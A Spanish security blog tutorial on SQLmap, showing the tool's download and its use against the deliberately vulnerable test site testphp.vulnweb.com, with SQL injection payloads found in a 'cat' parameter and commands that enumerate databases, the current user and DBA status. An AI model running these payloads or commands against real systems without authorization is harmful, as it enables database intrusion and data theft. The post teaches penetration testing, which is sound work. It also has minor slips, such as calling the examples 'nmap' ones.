SQLmap, herramienta imprescindible en tu arsenal

Ha llovido mucho desde que Jaime publicara aquí la noticia de SQLmap. Hoy vamos a ir un poco mas allá de presentar la herramienta y vamos a ver algunos ejemplos básicos.

Recordad que deberéis de usar la herramienta con responsabilidad.

Lo primero de todo es bajar desde Github la herramienta:

[email protected] ~/tools/pentest $ git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
Clonar en «sqlmap-dev»…
remote: Counting objects: 41965, done.
remote: Compressing objects: 100% (9416/9416), done.
remote: Total 41965 (delta 32592), reused 41824 (delta 32454)
Receiving objects: 100% (41965/41965), 38.76 MiB | 164 KiB/s, done.
Resolving deltas: 100% (32592/32592), done.

En nuestro caso usaremos una web de pruebas. Existen multitud de entornos para practicar estos ejercicios, buscad el que mas os guste.

Vamos a ver los ejemplos mas comunes de SQLmap.

Comprobando si la web es vulnerable.

SQLmap realiza todas las pruebas de manera automática, si la web tiene inyección sql, hará todo el proceso por nosotros.

imagen1

Como veis ha detectado que el backend es MYSQL y que el parámetro es inyectable.

Resultado de SQLmap

Una vez que SQLmap haya encontrado la inyección nos la mostrará al final del report.

sqlmap identified the following injection points with a total of 27 HTTP(s) requests:

Place: GET
Parameter: cat
Type: boolean-based blind
Title: AND boolean-based blind – WHERE or HAVING clause
Payload: cat=1 AND 3068=3068

Type: error-based
Title: MySQL >= 5.0 AND error-based – WHERE or HAVING clause
Payload: cat=1 AND (SELECT 2151 FROM(SELECT COUNT(*),CONCAT(0x3a6863653a,(SELECT (CASE WHEN (2151=2151) THEN 1 ELSE 0 END)),0x3a7264793a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)

Type: UNION query
Title: MySQL UNION query (NULL) – 11 columns
Payload: cat=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x3a6863653a,0x44527a73776f4648694b,0x3a7264793a),NULL,NULL,NULL,NULL#

Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: cat=1 AND SLEEP(5)

Encontrando usuario y base de datos.

La herramienta posee unos flags con los que podremos extraer información del sistema remoto que estamos auditando.

[email protected] ~/tools/pentest/sqlmap-dev $ python sqlmap.py -u http://testphp.vulnweb.com/listproducts.php?cat=1 –dbs

El flag –dbs hará que el servidor muestre las bases de datos disponibles.

imagen2

Tenemos dos bases de datos acuart y information_schema.

Ahora vamos a ver con que usuario se está ejecutando MYSQL.

EjecutamosSQLmap con el flag –current-user

[email protected] ~/tools/pentest/sqlmap-dev $ python sqlmap.py -u http://testphp.vulnweb.com/listproducts.php?cat=1 –current-user

Eso hará que aparezca por pantalla el usuario.

imagen3

Ya tenemos el nombre del usuario pero no podemos saber si es administrador o no, así  que lo comprobamos con SQLmap.

El flag:

[email protected] ~/tools/pentest/sqlmap-dev $ python sqlmap.py -u http://testphp.vulnweb.com/listproducts.php?cat=1 –is-dbs –current-db

Obtenemos los rsultados…

[15:14:30] [INFO] fetching current database
current database: ‘acuart’
[15:14:30] [INFO] testing if current user is DBA
[15:14:30] [INFO] fetching current user
[15:14:30] [WARNING] in case of continuous data retrieval problems you are advised to try a switch ‘–no-cast’ or switch ‘–hex’
current user is DBA: False
[15:14:30] [INFO] fetched data logged to text files under ‘/home/marc/tools/pentest/sqlmap-dev/output/testphp.vulnweb.com’

Estos son algunos de los ejemplos con nmap, mañana veremos mas.


Si te ha gustado el post, compartelo y ayudanos a crecer.

Unete a nuestra Fanpage Siguenos en Twitter

Autor: Seifreed

Formado en un equipo de lucha contra el fraude. He trabajado implementando la protección y prevención del fraude en varios clientes dentro del sector bancario nacional e internacioal. Mi trabajo consiste en encontrar soluciones a los problemas actuales y futuros de las entidades financieras respecto al código malicioso y el fraude. Especialidades como el análisis de malware, análisis forense, ingeniería inversa o tareas de hacking ético, forman parte de mis tareas diarias. Soy ponente ien eventos nacionales (No cON Name, Owasp, Navaja Negra) e internacionales (DraonJAR CON - Colombia). Soy profesor asociado en La Salle enseñando el curso MPWAR (Master in High Performance Web Programming) y el máster de ciberseguridad de La Salle (MCS. Master in Cybersecurity) Miembro de asociaciones y grupos de research como la HoneyNet Project, Owasp, SySsec etc.. También soy el organizador de las conferencias Hack&Beers en Barcelona

Compartir este Artículo

Siguenos!

O Puedes Subscribete

ANTES DE

SALIRTE ...

NO TE

ARREPENTIRÁS

!Gracias¡

NO OLVIDES NUESTRAS REDES SOCIALES